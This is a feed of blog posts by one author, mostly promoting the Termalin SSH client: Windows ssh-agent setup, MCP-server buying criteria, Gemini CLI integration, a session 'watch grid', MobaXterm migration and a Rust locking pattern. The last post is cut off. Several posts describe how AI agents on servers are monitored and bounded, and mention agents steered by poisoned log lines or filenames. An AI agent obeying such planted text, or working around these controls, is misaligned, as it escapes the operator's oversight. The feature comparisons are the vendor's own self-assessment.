DEV Community: Svyatoslav Pavlov

ssh-agent on Windows: start the service, add your keys, fix the errors

Svyatoslav Pavlov — Tue, 13 Oct 2026 15:21:17 +0000

You put a passphrase on your SSH key, and now Windows asks for it on every git push and every ssh. The fix is the SSH agent — unlock the key once, and every connection after that signs silently. The twist on Windows is that there isn't one agent. There are three that can be running at the same time, they hold keys in separate places, and a key loaded into one is invisible to the others. Almost every "it worked yesterday" agent problem on Windows is really a wrong agent problem. So this guide starts by naming them, then gets each one running, then decodes the errors you actually hit.

The three agents, and why they don't share keys

Agent	Ships with	Where it listens	Which `ssh` sees it
OpenSSH Authentication Agent (a Windows service)	Windows' native OpenSSH	named pipe `\\.\pipe\openssh-ssh-agent`	`ssh.exe` in `C:\Windows\System32\OpenSSH`
The MSYS2 agent (`ssh-agent`)	Git for Windows / Git Bash	a Unix-style socket named by `SSH_AUTH_SOCK`	the `ssh` bundled inside Git Bash
A Linux agent	inside your WSL distro	a Unix socket in that distro	`ssh` running inside WSL

The lesson from the table: ssh-add in Git Bash loads a key into the MSYS2 agent, and the native Windows ssh.exe will never see it — different endpoint, different key store. Pick one agent, load your keys there, and use the matching ssh. Mixing them is the root cause of most of the confusion below. The ssh-agent and ssh-add guide covers the cross-platform mechanics; this page is the Windows-specific half.

The built-in OpenSSH Authentication Agent service

Modern Windows 10 and 11 ship OpenSSH, and with it a Windows service that runs the agent — but it's off by default. Enable it once, from an elevated PowerShell (Run as administrator):

Set-Service ssh-agent -StartupType Automatic
Start-Service ssh-agent

Automatic starts it on every boot, so this is a one-time setup. Check the result:

Get-Service ssh-agent | Select-Object Status, StartType

You want Running and Automatic. From then on, in a normal (non-Git-Bash) PowerShell or cmd, ssh-add talks to this service:

ssh-add                                 # load default keys (id_ed25519, id_rsa, …)
ssh-add $env:USERPROFILE\.ssh\id_ed25519  # load a specific key
ssh-add -l                              # list loaded key fingerprints

ssh-add -l is your first diagnostic for any login failure — if the key you expect isn't listed, the agent can't sign with it, whatever else looks right.

To stop retyping ssh-add, let the first connection load the key for you. Put this in %USERPROFILE%\.ssh\config (the same ssh_config file OpenSSH reads everywhere):

Host *
    AddKeysToAgent yes

Now the first ssh that needs a passphrase prompts once and loads the key into the service as a side effect. Because the native Windows git and ssh both use this service, git push starts working silently too.

Error 1058: "unable to start the ssh-agent service"

You run Start-Service ssh-agent and get:

Start-Service : Service 'OpenSSH Authentication Agent (ssh-agent)' cannot be started due to the following error:
Cannot start service ssh-agent on computer '.'.
... error 1058 ...

Error 1058 means the service is disabled — Windows won't start a service whose Startup type is Disabled, and Start-Service doesn't change that for you. Fix the startup type first, then start it (elevated PowerShell):

Set-Service ssh-agent -StartupType Manual
Start-Service ssh-agent

Manual is enough to start it on demand; use Automatic if you want it up on every boot. If you're on a managed or domain machine, a group policy may have disabled it — in that case your admin has to allow the service before this sticks.

"error connecting to agent: No such file or directory"

This one comes from the Git Bash / MSYS2 ssh, not the Windows service. It means that ssh was told where to find an agent socket — via SSH_AUTH_SOCK — and nothing is there. Two common causes:

No agent is running in this shell. Git Bash doesn't start one for you. Start it in the shell you're using:

  eval "$(ssh-agent -s)"
  ssh-add ~/.ssh/id_ed25519

The eval matters: ssh-agent -s only prints the variables; the eval sets them so ssh can find the socket. Running ssh-agent bare and wondering why nothing changed is the classic misstep.

SSH_AUTH_SOCK is stale. A variable set by a previous session, a login profile, or another tool points at a socket that no longer exists. Check it with echo $SSH_AUTH_SOCK, then either unset it and start a fresh agent, or fix it to point at a live one.

If you'd rather use the Windows service from inside Git Bash, call the native binary directly — /c/Windows/System32/OpenSSH/ssh.exe — instead of the MSYS2 ssh on your PATH. Then Git Bash reaches the same keys you loaded into the service, and SSH_AUTH_SOCK stops mattering.

Keys in WSL

WSL is a separate Linux system, so it has its own agent, its own ~/.ssh, and its own SSH_AUTH_SOCK. Keys loaded on the Windows side are not visible inside your distro, and vice versa. You have two honest choices:

Run an agent inside WSL the ordinary Linux way — eval "$(ssh-agent -s)" and ssh-add, or AddKeysToAgent yes in the distro's ~/.ssh/config. Simple, fully isolated, and covered in the ssh-add guide.
Bridge to the Windows agent so both worlds share one key store. The usual recipe pipes the Windows named pipe into a Unix socket that WSL's SSH_AUTH_SOCK points at, using npiperelay.exe together with socat. It works well once set up, but it's extra moving parts — reach for it only if you genuinely need the same key on both sides.

Whichever you pick, remember that ssh-add -l inside WSL is a different question from ssh-add -l in PowerShell. Ask the right one when you debug.

When the agent is fine but login still fails

If ssh-add -l shows your key and the server still says Permission denied (publickey), the agent has done its job — the problem moved downstream to the server's authorized_keys, the wrong user, or the wrong key being offered. That's a separate checklist: Permission denied (publickey), fixed in order. And before you forward the agent to a remote box with ssh -A, read why agent forwarding is convenient and dangerous — it exposes live use of your keys on the far end.

How Termalin handles this on Windows

If juggling services, sockets and three key stores is more than you want to think about, that's the workflow Termalin builds in. It runs its own key agent on a Windows named pipe, \\.\pipe\termalin-ssh-agent, and serves the keys you've already unlocked in the app over the standard ssh-agent protocol — so a tool that speaks that protocol can sign through it with no OS service to enable, no eval line, and no manual ssh-add. The private keys stay in the running app and are never written to disk. The point of that agent is to let Termalin's own MCP server authenticate to your servers with your keys without ever holding the key material itself — the agent signs, the caller never sees the secret. It's the same one-unlock idea as the OpenSSH service, with the Windows setup taken off your plate.

Termalin is a free, cross-platform SSH client whose built-in agent unlocks your keys once and signs on your behalf — download it, or read how it handles your keys safely.

The best SSH client with a built-in MCP server (2026 buying guide)

Svyatoslav Pavlov — Thu, 08 Oct 2026 16:57:37 +0000

Five checks for an SSH client with a built-in MCP server: key custody, per-host policy, a hosted endpoint, live oversight, platforms. How Termalin scores.

"SSH client with a built-in MCP server" is a young category, and it's easy to be sold the wrong thing. A lot of what ships under that banner is a thin wrapper: an ssh_exec tool with a private key sitting in the wrapper's config. That gets a credential out of the model's context — genuinely worth something — but it stops there, and there is where most of the risk lives. This guide is about the criteria that separate a demo from something you'd actually leave running, and how to judge any client against them.

If you want the wide competitive landscape — Termalin, VibeShell, Gumpbox, the hosted proxies and the watch-only iOS apps — that's the full roundup. This post is the shorter, sharper version: the five things to check before you commit.

Verdict: the client that answers all five is the one whose MCP server is a key custodian, enforces a per-host command policy, ships both a local binary and a hosted endpoint, and shows you the sessions live. By that bar the recommendation is Termalin — with three honest exceptions (a fully open-source client you can audit line by line, Apple-only native sandboxing, or a Docker/Kubernetes manager) spelled out at the end. Here's how the shapes on the market score:

Option	Key custody	Per-host policy	Hosted endpoint	Live oversight	Platforms
Termalin	Agent never holds the key — the MCP server signs	Full / allowlist / blocked, per host locally (per API key on the hosted endpoint); a host is only exposed once you tick it	Yes — scoped, expiring API keys (Pro or trial)	Watch grid for agent-driven tabs + marked, output-only recordings; hosted runs audit-logged	Windows, macOS, Linux, iOS (+ web)
Thin `ssh_exec` wrapper	No — the key sits in the wrapper's config	No	No	No	Varies
Standalone MCP server	Usually plain key files in the agent's reach	The good ones take it seriously	It is headless — runs anywhere	No — logs after the fact, if configured	Anywhere headless
Hosted SSH proxy	Credentials sit in the connection path	Per-command policy mid-connection	Yes — it's a hosted service	Approvals mid-connection	A service, not a client
macOS/iOS-only watcher	Keychain-held	Varies	No	Consent sheet per action	Apple only

1. Who holds the key — and can the agent ever read it?

The first question, and the one every option answers differently. Pasting a key into the agent's environment is the one move you can't take back: once the bytes have passed through a model's context, a transcript, or a tool call you didn't read, you can't prove they didn't leak. The bar to look for is a key custodian: the agent asks, and something you control does the authenticating — you unlock once, the client signs on the agent's behalf, and there's no key file for the agent to read at all. Ask of any client: if this agent's context leaks tomorrow, is a credential in it? If the answer is yes, keep looking.

2. Can you bound what the agent runs — per host?

Key custody is necessary and not sufficient. A custodian that hands over an unrestricted shell has solved custody and left the blast radius wide open. What you want is a per-host command policy: each host set to full, an allowlist of commands, or blocked, enforced before a command runs — not a setting the agent is trusted to honor. This is the difference between "the agent has a shell on my fleet" and "the agent may run these commands, on these hosts, and nothing else."

3. Does it work when your desktop isn't running?

A local MCP server (a stdio binary the agent launches) is the right default for an agent on your laptop. But agents increasingly run where you aren't — CI jobs, cloud sandboxes, chat assistants like claude.ai and ChatGPT. For those you need a hosted endpoint: an HTTPS URL the agent reaches with a scoped, expiring API key, that connects to your servers keyless (a short-lived certificate, not a standing key) with no desktop running anywhere. A client that only offers the local binary can't help an agent in CI/CD. One that offers both covers the whole range.

4. Can you see what it did — and prove it later?

An agent's summary of its own work is not a record; it's a statement by the thing being audited. Look for two things: live oversight — a view where sessions the agent is driving are visible as they happen, so you can step in — and an audit trail made outside the agent, where its commands are marked as the agent's, with host, device and time, and session output is recorded (output only — a client that records keystrokes has built a keylogger, not an audit log). "What did the agent do at 2 a.m.?" should be a filter you apply, not a story you reconstruct.

5. Does it run where you do?

Mundane, but it eliminates options fast. Several agent-SSH tools are single-platform (macOS/iOS only, or one desktop OS). If your fleet is managed from a mix of Windows, macOS and Linux — and increasingly a phone — a client that only exists on one of them isn't a contender, however good its agent story.

How Termalin scores against its own checklist

We built Termalin to answer all five, so here's the honest scorecard:

Key custody — the built-in MCP server is the custodian. You unlock once; it signs on the agent's behalf; no key ever reaches the agent or the model.
Per-host policy — locally, a host is only exposed to the agent once you tick it, and each exposed host is full, an allowlist, or blocked, enforced at the point the agent asks. On the hosted endpoint the same three levels are set per API key, and AI access can be switched off per server.
Local and hosted — a bundled termalin-mcp binary for agents on your machine (Claude Code, Cursor, Codex, Gemini), plus a hosted endpoint (on Pro, or the 14-day trial) with scoped, expiring API keys for CI, cloud sandboxes, and the claude.ai / ChatGPT connectors.
Oversight — a live watch grid where terminal tabs an agent drives glow, output-only recordings of those tabs with each agent command marked, and on the hosted endpoint an audit log of every run: server, login, command, exit code and time. (Headless ssh_exec calls from the local binary open no tab and aren't audit-logged yet.)
Platforms — Windows, macOS, Linux and iOS (iPhone, iPad, Apple Watch), plus a browser cabinet for anything else.

Where it isn't the answer: if you need a fully open-source client you can audit line by line, Termalin isn't that (it's a company product, source-available in parts). If your agent work is Apple-only and you want the tightest native sandboxing on the target, a macOS/iOS-only tool may fit better. And Termalin is deliberately an SSH-focused client, not a Docker/Kubernetes/hypervisor manager — if that browsing is the point, a tool built for it will go deeper. The landscape post lays those trade-offs out in a table, including recommendations against ourselves.

The short version

If you're choosing an SSH client to give AI agents server access, don't stop at "it has an MCP server." Check that the agent never holds the key, that you can bound what it runs per host, that it works with no desktop for CI and chat agents, that you can watch and audit it, and that it runs on your platforms. A tool that does all five is one you can leave running; a tool that only checks the first is a demo you'll have to babysit.

Termalin is a cross-platform SSH client whose built-in MCP server is a key custodian with per-host policy, a live watch grid and an agent-tagged audit log — download it, or read the security model.

Connect Google's Gemini CLI to your servers over SSH — safely

Svyatoslav Pavlov — Wed, 07 Oct 2026 20:23:33 +0000

Gemini CLI speaks MCP, so it runs commands and manages files on your servers through Termalin — one entry in ~/.gemini/settings.json, no key handed over.

Google's Gemini CLI is a capable agent in a terminal, and like the other coding agents it eventually needs to leave your laptop and touch a real server — restart a service, tail a log, run the deploy on the box itself. The tempting shortcut is to let it run ssh directly: the CLI already executes shell commands, so if a key sits unlocked in ~/.ssh or a running ssh-agent, ssh prod works for it whether or not you meant to grant that. That's the whole problem in one line — you gave away full server access by default.

Gemini CLI has a cleaner path built in: it speaks MCP, the same protocol Claude Code, Cursor and Codex use. Termalin is an SSH client with a built-in MCP server, so you point Gemini at that server and it works your hosts for real — while the agent never holds a key. About twenty minutes, one host.

What you need

Termalin — the desktop app; the Free tier is fine. Its built-in MCP server is what Gemini talks to.
Gemini CLI, on the same machine.
One host saved in Termalin — something low-stakes for the first run.

Step 1 — turn on agent access and set a policy

Agent access is off by default. In Termalin, open Settings → MCP, enable it, and tick the hosts Gemini may reach. Nothing outside that list exists as far as the agent is concerned — a new host is a decision you make in the app, not something the agent can talk its way into.

Under the hood, Termalin writes a host inventory for the MCP server with agent-only auth entries — no passwords or keys land in that file — and authentication stays with the app's key custodian: you unlock once, and Termalin signs on the agent's behalf. There's no key file for Gemini to read, so there's nothing to leak, and the ~/.ssh back door above closes with it.

While you're there, set each host's agent policy: full access, an allowlist of commands, or blocked. Start with an allowlist for anything you care about — the least-privilege setup is its own short post.

Step 2 — register the server in Gemini's settings

Gemini CLI reads MCP servers from the mcpServers object in its settings file — ~/.gemini/settings.json for all your projects, or a project-local .gemini/settings.json. Add one entry pointing at the bundled termalin-mcp binary:

{
  "mcpServers": {
    "termalin": {
      "command": "<path>/termalin-mcp"
    }
  }
}

That's the whole integration. Restart Gemini CLI (or reload its MCP servers), and the tools appear to the agent: hosts_list, ssh_exec, persistent sessions (session_open / session_exec), SFTP reads and writes, and port forwards. Run /mcp in Gemini to confirm the server is connected and see the tools it exposes. The full tool list documents every one.

If you'd rather not wire MCP at all, there's a lighter option: Termalin has a local terminal tab, so you can just type gemini and run the CLI right inside the app next to your SSH sessions. That gives you Gemini in the same window — but it's the MCP setup above that lets Gemini act on your servers through the custodian, which is the part that keeps your keys out of its reach.

Step 3 — give it a real chore

Skip the demo. Hand it something real:

The deploy to staging-1 finished but the health check keeps flapping. Find out why and fix it.

Gemini calls hosts_list, sees staging-1, opens a session, and starts pulling threads — service status, the last hundred log lines, the config diff against what's running. It proposes a fix, applies it within the policy you set, and confirms the check goes green.

What makes this comfortable rather than nerve-wracking is that you can watch it. Turn on Agent in Terminal in Settings and Gemini can work in the app's own terminal tabs (terminal_open / terminal_run): each tab it opens is marked as the agent's, and the watch grid puts all open sessions side by side with the agent's tiles glowing, so you see the commands land and can step in at any point. Its headless calls (ssh_exec, session_*) don't open a tab; they run straight from the MCP server, inside the host list and policy you set.

Where the boundaries are

Defaults worth knowing before you point it at anything that matters:

Your keys never enter Gemini's environment. The custodian signs; the agent requests. Revoking access is a toggle in Settings, not a key rotation across your fleet.
Its reach is the host list you ticked in Step 1, and each host's command policy bounds what it can run there. "Full" on production is still a full shell — set it deliberately.
Typing into your session is separate. By default Gemini opens its own sessions; joining one you already have open is its own consent toggle.
Watch it, or record it. Agent work in the app's terminal tabs is visible live and can be recorded — output only, never keystrokes. How auditing an agent works covers the rest.

When Gemini runs in the cloud

If Gemini is running where your desktop isn't — a CI job, a cloud sandbox — the local binary isn't reachable, but Termalin's hosted MCP endpoint is (on Pro, or the 14-day trial). Mint an API key in the web cabinet, scope it to the right servers, set it read-only or to an allowlist, give it an expiry, and point the agent at https://termal.in/api/v1/mcp. It reaches your Connector-enrolled servers keyless, authenticating each run with a short-lived certificate — the full CI/CD pattern is here.

The habit that makes it stick

Treat the first week like onboarding a fast teammate. Keep the watch grid open, give Gemini chores with a clear done-state, and read how it gets there before widening anything. The trade is the point: Gemini gets real reach on your servers, and you keep the one thing — the keys — that can't be handed back once it's out.

Termalin is a cross-platform SSH client with a built-in MCP server, a key custodian and per-host agent policy — download it, read the MCP reference, or see how it handles keys.

Watch many SSH sessions at once — a live grid for humans and agents

Svyatoslav Pavlov — Tue, 06 Oct 2026 18:08:47 +0000

tmux and csshX tile your terminals; Termalin's watch grid tiles every open SSH session as a live view and glows the ones an AI agent is driving.

Anyone who has run more than a couple of servers knows the failure mode: eight terminal windows, a deploy going out across four of them, and no single place to see whether it's working. The old answers — tmux panes, csshX, a wall of iTerm splits — tile terminals so you can glance across them. They work, and they stop working the moment the thing you're watching isn't just you. When an AI agent is driving some of those sessions, "glance across the panes" isn't enough: you need to know which sessions are the agent's, and you need to be able to step in. That's what a watch grid is for.

The problem tmux solves, and the one it doesn't

tmux and csshX are about your attention across your sessions. Broadcast a command to a set of panes, watch the outputs line up, done. It's a genuinely good tool for fan-out work — patch twelve boxes, tail a log on all of them at once.

What they don't model is authorship. Every pane is you; there's no notion of "this session is being driven by something else, and I'm supervising it." In 2026 that's the gap, because more and more of the sessions on your machine are opened by an agent — Claude Code, Codex, Gemini — working a host through an MCP server. A pane full of commands you didn't type needs a different kind of attention than one you did.

What the watch grid does

Termalin's watch grid is one screen that mirrors every open session as a live tile. Not a summary, not a status dot — the actual terminal, updating as output arrives, laid out side by side. Two things make it more than a pretty tmux:

Agent-driven tiles glow. A session an AI agent is running is visually marked, in real time, while it acts. You don't have to remember which tab you handed to the agent; the grid tells you at a glance, across the whole fleet if need be.
You can step in. A tile isn't a read-only feed. See the agent heading somewhere you don't like, and you drop into that session and take over — the same session, live, no reconnecting. Supervision, not just observation.

Which agents show up here: ones working through Termalin's local MCP server inside the app's own sessions (the "Agent in Terminal" switch). Calls from a hosted chat connector, such as Claude or ChatGPT in the browser, run one by one on the server and land in the audit log instead of a tile.

Because every session stays alive in the background whether or not it's on screen, switching to a tile is instant and nothing is lost when you look away. (Keeping dozens of live SSH sessions responsive at once is its own engineering problem — we wrote up how the session store stays lock-free under that load.)

Why "glowing" matters more than it sounds

The live view changes what supervision costs. Without it, letting an agent work a server is an act of faith punctuated by reading a summary afterward — and a summary is written by the thing you're supervising, so it's the least trustworthy possible record. With a grid where agent sessions glow, oversight is ambient: you see the commands land as they happen, and a steered agent — one talked into something by a poisoned log line or filename — gets caught in the seconds it takes to notice, not in a postmortem. It doesn't lower the odds of a bad instruction; it collapses the time between the instruction and you seeing it.

That's the same argument as recording, one step earlier in time. Recording lets you answer "what did it do?" after the fact; the watch grid lets you answer "what is it doing?" right now, and intervene. Together they're the blast-radius safety net: a per-host policy bounds what the agent can do, the grid shows you what it is doing, and the marked recording proves what it did.

For a human fleet, too

None of this is agent-only. The grid is also just a good way to run several servers at once:

A deploy across a set of hosts — watch all of them go green (or one of them not) in one view, instead of alt-tabbing to find the straggler.
An incident — pull up the affected boxes as tiles, with each one's live CPU, memory and disk in the status bar, so "which node is actually pegged?" is visible, not guessed.
Routine fan-out — paired with send-to-many input, the grid is the classic csshX workflow with a modern client around it: reach a whole folder of hosts at once, type once, watch everywhere.

The difference from stitching this together with tmux and SSH config is that it's one app that already knows your hosts, holds your keys safely, and keeps the sessions alive — so the grid is a button, not a shell script you maintain.

Where recording and audit fit

The watch grid is the live layer; it pairs with the durable one. Every session can be recorded output-only (never keystrokes), with each agent command marked on the replay timeline, and the audit log keeps the who/when/from-where — the same client-side approach that makes recording and auditing sessions work through a jump host. Watch live to catch things fast; replay and audit to prove what happened. You want both, and they're the same feature seen at two speeds.

The short version

If your reason for tiling terminals is "I have a lot of servers," tmux and csshX are fine and free. If some of those sessions are driven by an AI agent — or will be soon — you want a view that marks authorship, lets you take over, and feeds a recording you can trust. That's the watch grid: see it in motion, then set your agents loose knowing you're watching.

Termalin is a free, cross-platform SSH client with a live watch grid, output-only recording and a built-in MCP server — download it, or read how it keeps keys safe.

Leaving MobaXterm: take your sessions and keys to macOS or Linux

Svyatoslav Pavlov — Mon, 05 Oct 2026 18:29:23 +0000

Where MobaXterm stores bookmarks and keys, how to export them, and how to land the whole setup in a cross-platform client — plus when to stay.

MobaXterm earned its following. On Windows it's the Swiss Army knife: tabbed terminal, a real X server, SFTP browser docked beside every shell, and a pile of bundled Unix tools that mean you rarely reach for anything else. If you live on Windows and lean on the X server, you may not need to leave at all — this guide will even tell you when to stay.

But two itches send people looking. One is the platform wall: MobaXterm is Windows-only, so the day you pick up a Mac or a Linux box, your whole setup stays behind. The other is the opposite of its strength — some people want a fast, focused SSH client, not a toolbox that does everything. Either way, getting out with your sessions, keys and habits intact is a smaller job than it looks. It's written with Termalin as the destination, but the first half applies to any modern client.

Know where MobaXterm keeps your stuff

MobaXterm calls saved sessions bookmarks, and where they live depends on which edition you run:

Installer edition — in the Windows registry, under HKEY_CURRENT_USER\Software\Mobatek\MobaXterm.
Portable edition — in a MobaXterm.ini file sitting next to the .exe. That single file is your whole configuration, which is why the portable build travels on a USB stick.
Private keys — wherever you saved them. MobaXterm works with standard OpenSSH keys and with PuTTY's .ppk, and it ships MobaKeyGen (a PuTTYgen clone) for making and converting them.
Saved passwords — in MobaXterm's own credential store, protected by its master password. These do not export in plaintext, by design — you'll re-enter them once in the new client.

Step 1 — export the sessions

The portable, any-OS route: open the Sessions sidebar, right-click the top User sessions node, and choose Export sessions to write a .mxtsessions file (it's plain text — you can open it and read your inventory). That file is what an importer consumes on a Mac or Linux box where the registry doesn't exist.

In Termalin, open the hosts list's import menu and paste that file or load it — the portable edition's MobaXterm.ini works too. Bookmarks arrive with their folders, as regular hosts you can sort, tag and colour-label. (The same importer also takes an ~/.ssh/config, a CSV, or a PuTTY .reg export, and on Windows it can read saved PuTTY sessions straight from the registry, if your setup is a mix.)

Step 2 — bring the keys

Here MobaXterm users are usually in good shape, because MobaXterm already speaks OpenSSH. If your keys are OpenSSH-format id_ed25519 / id_rsa files, just import them into the new client — done.

If some keys are in PuTTY's .ppk format (common if you migrated into MobaXterm from PuTTY years ago), convert them once: open MobaKeyGen, Load the .ppk, and Export OpenSSH key (force the new format — the legacy one predates Ed25519). The passphrase carries over. New to key formats? The Ed25519 vs RSA explainer is the thirty-second version, and a migration is a fine moment to generate a modern key for anything still on an old RSA one.

In Termalin the imported keys go into the built-in agent, so it's one unlock per session of work with passphrase caching on a timer you set, the same role MobaXterm's agent played. It speaks the standard ssh-agent protocol on its own per-user pipe or socket, so a CLI pointed at it with SSH_AUTH_SOCK can sign through it too.

Step 3 — don't blindly re-trust every server

MobaXterm remembers the host keys of servers you've connected to. Don't try to migrate that list. A move is the one natural moment you'll ever get to re-verify what you're actually connecting to. A modern client (Termalin uses trust-on-first-use with a proper known_hosts) shows each server's fingerprint on first connect — glance at the ones that matter, accept, move on. Ten minutes for a fleet you'll then trust cleanly for years.

Step 4 — the habits that carry over (and the one that doesn't)

Most of what you like about MobaXterm has a direct equivalent:

Tabs — you already think in tabs; you keep them (browser-style, drag to reorder, an activity glow on the quiet ones).
Files beside the shell — MobaXterm's docked SFTP browser becomes an SFTP panel in the same tab as the terminal: browse, edit in place with a built-in editor, upload. No second window, no re-entering credentials.
The credential vault — replaced by a local encrypted vault with a master password, auto-lock, and (on Windows) Windows Hello to re-unlock.

The one habit that does not carry over: the bundled X server. Termalin deliberately isn't a toolbox — it's a focused client for SSH, SFTP, FTP, Telnet, Serial and S3, and it does not ship an X server or a bag of Unix binaries. If forwarding X11 GUI apps from a server to your Windows desktop is part of your daily work, that's the honest reason to keep MobaXterm installed alongside — use the right tool for that job and let the new client handle the day-to-day.

What you gain that MobaXterm can't offer

The same setup on every OS. Windows, macOS and Linux desktops and native iPhone and iPad apps, with your hosts, keys and command history following you — plus a browser cabinet at termal.in/account for a real terminal from any laptop, phone or tablet with no install. That's the wall MobaXterm can't cross.
Encrypted sync instead of a USB stick (Pro). Your vault syncs end-to-end encrypted, so the sync server only ever holds ciphertext — the modern version of carrying MobaXterm.ini around.
An agent layer. A built-in MCP server lets an AI agent — Claude Code, Cursor, Codex — work your servers through the app without ever holding a key, under a per-host policy you set and mirrored in a live watch grid.

On price: MobaXterm's Professional license is a one-time $69. Termalin's Free tier is the whole desktop app, local, with no host limits; Pro (the encrypted cloud) is $8/mo billed yearly, with a one-time lifetime deal during the beta and a 14-day trial that needs no card. Different models — pick the one that fits how you like to pay.

Termalin runs on Windows, macOS, Linux and iOS; the Free tier has no host limits and imports a MobaXterm sessions export with its folders — download it, or see the full MobaXterm comparison.

Take it out of the map: keeping a shared session store lock-free during slow work

Svyatoslav Pavlov — Sun, 04 Oct 2026 16:27:10 +0000

An SSH client keeps every live session in a shared map behind a lock. Holding it through a slow handshake froze every other session — here's the Rust fix.

Here's a shape you'll recognise if you've ever put "a bunch of live things" behind one lock. An SSH client keeps its open sessions in a single map:

struct SessionManager {
    sessions: HashMap<String, SshSession>,
    // ...
}

static SESSION_MANAGER: OnceLock<Arc<Mutex<SessionManager>>> = OnceLock::new();

One Arc<Mutex<HashMap<Id, Session>>>, shared by every tab. Reads are cheap — grab the lock, find the session, write some bytes, drop the lock. It worked fine until someone opened a tenth tab and connected to a new host, and every other tab froze for three seconds. Through a jump host, longer.

The bug is one `.await` too many

The connect path looked like the obvious thing:

async fn connect_session(id: &str, creds: Creds) -> Result<(), String> {
    let mgr = get_session_manager();
    let mut mgr = mgr.lock().await;
    let session = mgr.sessions.get_mut(id).ok_or("not found")?;
    session.connect(creds).await   // <-- SSH handshake: seconds
}

The problem is the last line. session.connect(...).await is the full SSH handshake — key exchange, auth, maybe an agent trying keys in batches, maybe a whole second hop through a jump host. And we're holding the manager lock across it. Every keystroke in every other session, every stats poll, every "write these bytes to the terminal" now waits in line behind a network round-trip to a machine that might be on the other side of the planet.

Holding a lock across .await isn't a deadlock here — tokio's Mutex is fair and it'll get released. It's head-of-line blocking: the lock is held for as long as the slowest operation under it takes, and everyone else pays for it.

Move ownership out, do the slow work unlocked

The fix is to stop treating the session as something you borrow from the map for the duration of a slow call. Take it out:

/// Remove a session from the map so a slow `&mut self` op can run on it
/// without holding the manager lock. The caller MUST hand it back.
async fn take_session_for_op(id: &str) -> Result<SshSession, String> {
    let mut mgr = get_session_manager().lock().await;
    if mgr.in_flight.contains_key(id) {
        return Err("an operation is already in progress for this session".into());
    }
    match mgr.sessions.remove(id) {
        Some(session) => {
            mgr.in_flight.insert(id.to_string(), false); // false = not cancelled
            Ok(session)
        }
        None => Err("session not found".into()),
    }
}

Now the lock is held only long enough to remove the entry and record that an operation is running. The connect becomes:

async fn connect_session(id: String, creds: Creds) -> Result<(), String> {
    let mut session = take_session_for_op(&id).await?; // brief lock
    let result = session.connect(creds).await;         // NO lock held
    finish_session_op(&id, session).await;             // brief lock
    result.map_err(|e| e.to_string())
}

Between the first and third line the manager lock is free. The ten other tabs keep echoing keystrokes and drawing output while the new connection does its handshake in the background, holding nothing but its own owned SshSession. The slow work is exactly as slow as before — it just stops being everyone else's problem.

Now handle the two races you just created

The moment a session can be "outside the map," two things can go wrong, and both have bitten real users.

A second operation on the same session. Someone double-clicks connect, or a reconnect fires while the first is still handshaking. That's what the in_flight map is for: take_session_for_op refuses if an entry is already there. One in-flight &mut self operation per session, enforced at the door.

A disconnect arrives mid-handshake. This is the nasty one. The user closes the tab while the connection is still coming up. disconnect grabs the lock, looks in sessions… and it's not there, because we took it out. If you do nothing, the handshake finishes a moment later, finish_session_op puts a now-fully-connected session back into the map, and you have a live connection nobody is watching — a zombie.

So the in-flight marker doubles as a cancel flag:

async fn disconnect_session(id: String) -> Result<(), String> {
    let owned = {
        let mut mgr = get_session_manager().lock().await;
        // Not in the map? It's mid-connect. Flag the in-flight op to tear
        // its fresh connection down instead of re-inserting it.
        if !mgr.sessions.contains_key(&id) {
            if let Some(cancel) = mgr.in_flight.get_mut(&id) {
                *cancel = true;
            }
        }
        mgr.sessions.remove(&id) // Some(..) if already connected; None if mid-connect
    };
    if let Some(mut session) = owned {
        session.disconnect().await?; // slow part, lock released
    }
    Ok(())
}

And the return path honours it:

async fn finish_session_op(id: &str, session: SshSession) {
    let mut to_drop = None;
    {
        let mut mgr = get_session_manager().lock().await;
        // unwrap_or(true): if the marker vanished, assume cancelled.
        let cancelled = mgr.in_flight.remove(id).unwrap_or(true);
        if cancelled {
            to_drop = Some(session);          // don't re-insert
        } else {
            mgr.sessions.insert(id.into(), session);
        }
    }
    if let Some(mut session) = to_drop {
        let _ = session.disconnect().await;   // tear the fresh connection down
    }
}

The decision — reinsert or tear down — is made under the lock by reading one flag; the actual teardown happens after the lock is dropped. A disconnect that races a connect now always wins cleanly: either it removes an already-connected session, or it leaves a note that turns the in-flight connection into a no-op on arrival. No zombie either way.

Reaping the dead, without a background timer

Sessions also die on their own — the server hangs up, the network drops, the OS kills a backgrounded app. Those need collecting too, and the same "short lock, slow work released" discipline applies:

async fn cleanup_dead_sessions() -> Vec<String> {
    let (dead, owned) = {
        let mut mgr = get_session_manager().lock().await;
        let dead: Vec<String> = mgr.sessions.iter()
            .filter(|(_, s)| s.is_handle_closed())
            .map(|(id, _)| id.clone())
            .collect();
        let owned: Vec<_> = dead.iter().filter_map(|id| mgr.sessions.remove(id)).collect();
        (dead, owned)
    };
    for mut session in owned {
        let _ = session.disconnect().await; // lock released
    }
    dead
}

Two deliberate choices here. There's no background task — this is the only GC path, and the UI just calls it on a cheap interval (and on demand). A background reaper is one more thing holding the lock on a timer you don't control; calling it explicitly keeps GC on your schedule. And it only touches sessions that are actually in the map: anything mid-connect (owned out of the map) or never-connected is left alone, so the reaper and an in-flight handshake can never fight over the same session.

The shape, minus the SSH

Strip out the protocol and the pattern is reusable anywhere you keep live, individually-slow things in a shared map:

Hold the shared lock only long enough to move ownership out (remove), not for the duration of the work.
Do the slow async work on the owned value, lock released.
Re-acquire briefly to put it back — with a guard against a second concurrent operation, and a cancel flag so an op that raced the slow work can tear its result down instead of reinserting it.

It costs you a second map (in_flight) and a little bookkeeping, and it buys you a lock that's never held longer than a HashMap::remove. For anything behind Arc<Mutex<HashMap<_, _>>> where the per-entry operations touch the network, that trade is almost always worth it.

Where this lives

This is from the Rust core of Termalin, a cross-platform SSH client (the protocol layer is russh). The full session manager has more moving parts — per-session output buffers, tunnels, stats collectors — but the connect/disconnect/reap paths all follow the take-and-return discipline above.

Termalin is a fast SSH client for you and your AI agents — have a look, or read how the agent side works.

SSH reverse tunnels (ssh -R): expose a local port through a remote server

Svyatoslav Pavlov — Sat, 03 Oct 2026 19:12:34 +0000

How ssh -R works — the listener opens on the remote side. Demoing a dev server, reaching a machine behind NAT, catching webhooks, plus GatewayPorts.

You have something running on your laptop — a dev server, an API, a machine at home behind NAT — and something on the other side of the internet needs to reach it. No public IP, no router access, no time to set up a VPN. This is the job of the SSH reverse tunnel, ssh -R: it makes a port appear on a server you can reach, and quietly pipes everything that hits it back to your machine.

It's the flag people find backwards, so let's fix the mental model first, then work through the real cases.

The mental model: `-L`, mirrored

